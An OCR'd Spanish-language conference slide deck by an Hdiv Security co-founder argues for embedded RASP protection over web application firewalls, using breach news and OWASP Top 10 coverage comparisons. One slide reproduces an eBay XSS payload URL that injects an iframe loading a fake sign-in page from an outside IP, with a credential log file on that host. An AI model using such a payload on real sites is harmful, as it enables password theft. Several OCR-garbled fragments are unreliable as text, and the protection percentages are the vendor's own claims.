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Gorka Vicente
co-founder at Hdiv Security & COO

Hldiv

@gorkavicente
hdivsecurity.com
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Simple Yet Effective eBay Bug
Allows Hackers to Steal Passwords

Monday, January 11,2016

ELSKRALHACK
SECLRITH
CONGRESS

Simple Yet Effective
»
HACK

This is a common web bug, technically
known as a Cross-Site Scripting (XSS)
vulnerability, in which attackers can
exploit the vulnerability to inject malicious
lines of code into a legitimate website.

NVERLGERLEWE]L

((@IT he Hacker News’

Security in a serious way

http://thehackernews.com/2016/01/ebay-hacking.html
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& ‘Untitle... @

google.co.uk -c £ Power Manager
Your battery is charging

s *Untitled Document 1 - gedit o

File Edit View Search Tools Documents Help

Ll Open v &) Save |l Undo o £ Qe
*Untitled Document 1
http://ebay.con/link/2nav=webviewdurl=javascript:docunent.writeX28%27%3C1ifraneX20src=%22http: //45.55.162.179/ebay/signin.ebay.con/ws/eBayISAPI9F90. htn1%22%20width=%221500%22%20he i ght=%221000%22%3EX27%29

http://45.55.162.179/ebay/signin.ebay.con/ws/log. txt|

a

((@T he Hacker News

Security in a serious way

http:/thehackernews.com/2016/01/ebay-hacking.html
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threat

The Kaspersky Lab Security News Service

September 11,2015
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RESEARCHERS OUTLINE VULNERABILITIES

IN YAHOO, PAYPAL, MAGENTO APPS

YaHoO! P payPal

Magento

eCommerce Platform for Growth

Another issue the researchers brought up existed in Gemini, Yahoo's marketplace for
mobile and native ads. If exploited the Cross Site Request Forgery (CSRF) bug could
have enabled an attackerto inject malicious codeto compromise client-side app to

browser requests, along with session data.

https://threatpost.com/researchers-outline-vulnerabilities-in-yahoo-paypal-magento -apps/114644/
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Exposed database allowed read/write
access to Microsoft’s career portal

February 13, 2016

== Microsoft

Configuration errors exposed data and
enabled full control over the website's HTML.

CSO

http://www.csoonline.com/article/3033154/security/exposed-databas e-allowed-r ead-write-access-to-microsofts-career-por tal.h tml
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SAP patches three-year-old
vulnerability, plus 20 more flaws

June 16, 2016

FOR IT SECURITY PROFESSIONALS

The 21 total vulnerabilities, four of which were critical, were

categorized as follows: five cross-site scripting, five missing

authorization, four implementation flaws, two denial of

service, two directory traversals, one code injection, one
® XML external entity, oneinformation disclosure.

http://www.scmagazine.com/sap-patches-three-year-old-vuln erability-plus-20-more-flaws/article/503720/

From WAF to RASP Gorka Vicente



DOy

0]y e

[
b bt
.-
=

g X
Y b i
2

—
A
_=

Israeli Power Grid Authority
Suffers Massive Cyber Attack

January 27/, 2016

(«3The Hacker News’

Security in a serious way

http://thehackernews.com/2016/01/power-grid-cyberattack.html
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Applications and data are the focus
of modern cyber attacks

In 2015, companies saw an average of 160 successful cyber attacks per week,
more than three times the 2010 average of 50 per week.

Gartner

From WAF to RASP Gorka Vicente
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Web app attacks represented
40% of breaches in 2015

,_m hltestlma”t

WEB APPLICATIONS SECURITY STATISTICS REPORT 2016

From WAF to RASP Gorka Vicente
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@ Elporqué

€) Soluciones de Seguridad

Q Sumario
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NGULARJS

(( by Google
’ B BACKBONE,JS
Java ‘

Microsoft®

IS NET

Las tecnologias actuales para
el desarrollo de aplicaciones
Jolgl inseguras por defecto
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La seguridad depende de las
ersona

Gorka Vicente
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Las soluciones de seguridad
no estan resolviendo el problema.

From WAF to RASP Gorka Vicente
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WAF

Web Application Firewall

¢, Qué son?

Dispositivos hardware o software que
analizan el trafico HTTP y permiten
proteger los servidores de aplicaciones - b

de los ataquesa nivel de aplicacion (XSS,

CSRF, SQL Injection, etc.) |

From WAF to RASP Gorka Vicente



WAF - 1% generacion

Basados en detectar patrones de ataque

From WAF to RASP



M
{

X
C
L

o

WAF - 1% generacion

Basados en detectar patrones de ataque

Todas las peticiones son aceptadas;
excepto las definidas como blacklist.

STED)

—‘_vm B e

BLACKL
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Proteccion frente a OWASP TOP 10
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OWASP WAF
Dgen (s Fpplication 1°generacion

A1 Injection )
A2 Broken authentication and session management &
A3 XSS %o
A4 Insecure direct object reference (%)
A5 Security misconfiguration %
A6 Sensitive data exposure %
A7 Missing function level access control (%)
A8 CSRF o
A9 Using components with known vulnerabilities %
A10 Unvalidated redirects and forwards (%)

NIVEL DE PROTECCION 40%

From WAF to RASP
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Proteccion frente a OWASP TOP 10
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OWASP WAF
ol 1°generacion
A1 Injection )
A2 Broken authentication and session management &
A3 XSS %
A5 Security misconfiguration %
A8 CSRF o
A9 Using components with known vulnerabilities %
NIVEL DE PROTECCION 58%
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Vulnerabilidades

comunes
Security bugs
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Proteccion frente a OWASP TOP 10

OWASP

Op n Wel bFlplecat\un
rojec

urity

1%generacion

A4 Insecure direct object reference

A7 Missing function level access control

A10 Unvalidated redirects and forwards

From WAF to RASP
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Vulnerabilidades
de negocio

, NO siguen un
PATRON DE ATAQUE

Gorka Vicente
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WAF - 1% generacion
Inconvenientes

€ No protegen frente a todos los riesgos

From WAF to RASP Gorka Vicente
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WAF - 1% generacion
Inconvenientes

€ No protegen frente a todos los riesgos

€) No cubren los riesgos por conocer (zero-days)

From WAF to RASP Gorka Vicente
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WAF - 1% generacion
Inconvenientes

€ No protegen frente a todos los riesgos

€) No cubren los riesgos por conocer (zero-days)
€ Falsos positivos

From WAF to RASP Gorka Vicente
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WAF - 1% generacion
Inconvenientes

€ No protegen frente a todos los riesgos

€) No cubren los riesgos por conocer (zero-days)
€ Falsos positivos
€) Rendimiento
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Basados whitelist + blacklist
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WAF - 22 generacion

Basados whitelist + blacklist

@ Procesos de aprendizaje @1

From WAF to RASP Gorka Vicente
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WAF - 22 generacion

Basados whitelist + blacklist

@ Procesos de aprendizaje @1

© Parseo de contenido en
tiempo real

From WAF to RASP
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WAF - 22 generacion

Basados whitelist + blacklist

@ Procesos de aprendizaje V)

© Parseo de contenido en M)
tiempo real y

\
No es posible aprender
P P A ) P

contenidos dindmicos
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Proteccion frente a OWASP TOP 10

OWASP

Open Wel bFlplecat\un
Security Project

A1 Injection

WAF WAF

1%generacion 2°%generacion

A2 Broken authentication and session management

A3 XSS

A4 Insecure direct object reference

A5 Security misconfiguration

A6 Sensitive data exposure

A7 Missing function level access control

A8 CSRF

A9 Using components with known vulnerabilities

A10 Unvalidated redirects and forwards

From WAF to RASP

QDS PQ QS
QLA L PP QP

75%

2
S

NIVEL DE PROTECCION 4

Gorka Vicente
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Proteccion frente a OWASP TOP 10
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OWARSP WAF WAF
D o 1%generacion 2°%generacion
A4 Insecure direct object reference (%) &
A7 Missing function level access control (%) &
A10 Unvalidated redirects and forwards (%) (v
NIVEL DE PROTECCION 0% 100%
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Teniendo estos niveles de proteccion,
por queé nuestras apps
siguen siendo vulnerables?

From WAF to RASP Gorka Vicente
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WAF - 22 generacion
Inconvenientes

Falsos positivos
Costo de implantacion
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cPor gué no hacer las apps seguras’

iNo esperemos a que alguien tenga que venir
después a protegerlas!

From WAF to RASP Gorka Vicente
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Stop Protecting Your Apps,
It’s Time for Apps to Protect Themselves

Gartner, Inc. Maveric Research: Stop Protecting Your Apps, It's Time for Apps to Protect Themselves,

25th September 2014 by Joseph Feiman Ga rtne[;

From WAF to RASP

Gorka Vicente



UL

0]y e

X

=t
b bt
.-
-

A

—
A
_=

RASP

Runtime Application Self Protection

Deteccion + Proteccion

de vulnerabilidades mediante acciones proactivas
O Evolucion de los AST (Application Security Testing) ﬁ‘ .
Los AST son herramientas que ayudan a los desarrolladores a CE];[E!P
encontrar vulnerabilidades en cédigo fuente pero no automatizan o
la creacion de aplicaciones seguras. ®

From WAF to RASP Gorka Vicente




RASP

Runtime Application Self Protection

A1 Injection
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Efectivos para detectary

A3 XSS

proteger sobre las

vulnerabilidades comunes

From WAF to RASP Gorka Vicente



RASP

Runtime Application Self Protection
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A1 Injection
A3 XSS
€ A4 Insecure direct object reference
NO protegen frente a € A7 Missing function level access control
A vulnerabilidades de negocio
€ A10 Unvalidated redirects and forwards
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Aungue el enfoque es interesante,
los RASP actuales no estan
solventando el problema.

No controlan el trafico HTTP entre
peticiones (arquitectura sin estado)

From WAF to RASP Gorka Vicente
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Es necesario controlar e
flujo completo de los datos
con un enfoque diferente al de los WAF

:
bank.com P
<html>Accoun ts..</html>

bank.com?account=26034641 _

bank.com
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Tecnologias
de Desarrollo
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Security by Design

Seguridad dentro de las apps (embedded security)

7#==X Eliminaciéon de los procesos de aprendizaje
y el parseo de contenido

Integracion durante |la fase de Desarrollo.

From WAF to RASP Gorka Vicente
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Proteccion frente a OWASP TOP 10

OWARSP RASP

Open Web Application
Security Project

A1 Injection

A2 Broken authentication and session management
A3 XSS

A4 Insecure direct object reference

A5 Security misconfiguration

A6 Sensitive data exposure

A7 Missing function level access control
A8 CSRF
A9 Using components with known vulnerabilities

QLA L AAAA

A10 Unvalidated redirects and forwards

NIVEL DE PROTECCION 85%

From WAF to RASP Gorka Vicente
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Proteccion frente a OWASP TOP 10

OWASP RASP WAF  WAF

Open Web Fpplication T9generacion  2°generacion

Security Project

A1 Injection

A2 Broken authentication and session management
A3 XSS
A4 Insecure direct object reference

A5 Security misconfiguration

A6 Sensitive data exposure

A7 Missing function level access control
A8 CSRF
A9 Using components with known vulnerabilities

A10 Unvalidated redirects and forwards

AL L LA
QL PO SLPQS QS
QL0 L QLA

NIVEL DE PROTECCION 85% 40% 75%
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WAF
RAS P 2%generacion
. 7 - . Varias
Instalacion y Mantenimiento 1 dia comanas
Latencia 1-3ms. <5ms
Portabilidad (v
Forma de reportar el error en la aplicacion &

Plataformas

Dependiente
de tecnologia

Independiente

Entornos

Todos

Producciéon
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Ataques de integridad
Parameter Tampering

¢ Ataques contra datos editables
SQL Injection

From WAF to RASP Gorka Vicente




Username

Password

Sign in
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Hdiv

Basado en hechos reales

Top Retail Bank, US Large Federal Agency, US

We wanted to rely on the protection ofthe

Hdiv makes it easy for developers to secure application itselfwithout totally relying on

their applications once Hdivis added to the external devices. We wanted stronger security
app//ca‘t/on development process. It has been butwe didn'twant to compromise application
working phenomenally well for fixing my performance or generate lots of false positives.
Security Issues. Hdliv is what we wanted.
CONFIDENTIAL CONFIDENTIAL
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Ssumario

El enfoque tradicional de seguridad no ha resuelto
adecuadamente el problema.

Todavia vemos gque los WAF van a tener un papel
importante.

Consideramos que la seguridad integrada dentro de las
aplicaciones (RASP) es necesaria para cambiar esta
realidad.

Gorka Vicente
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Preguntas
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Eskerrik asko

Hdiv

gorka@hdivsecurity.com
hdivsecurity.com

Gorka Vicente



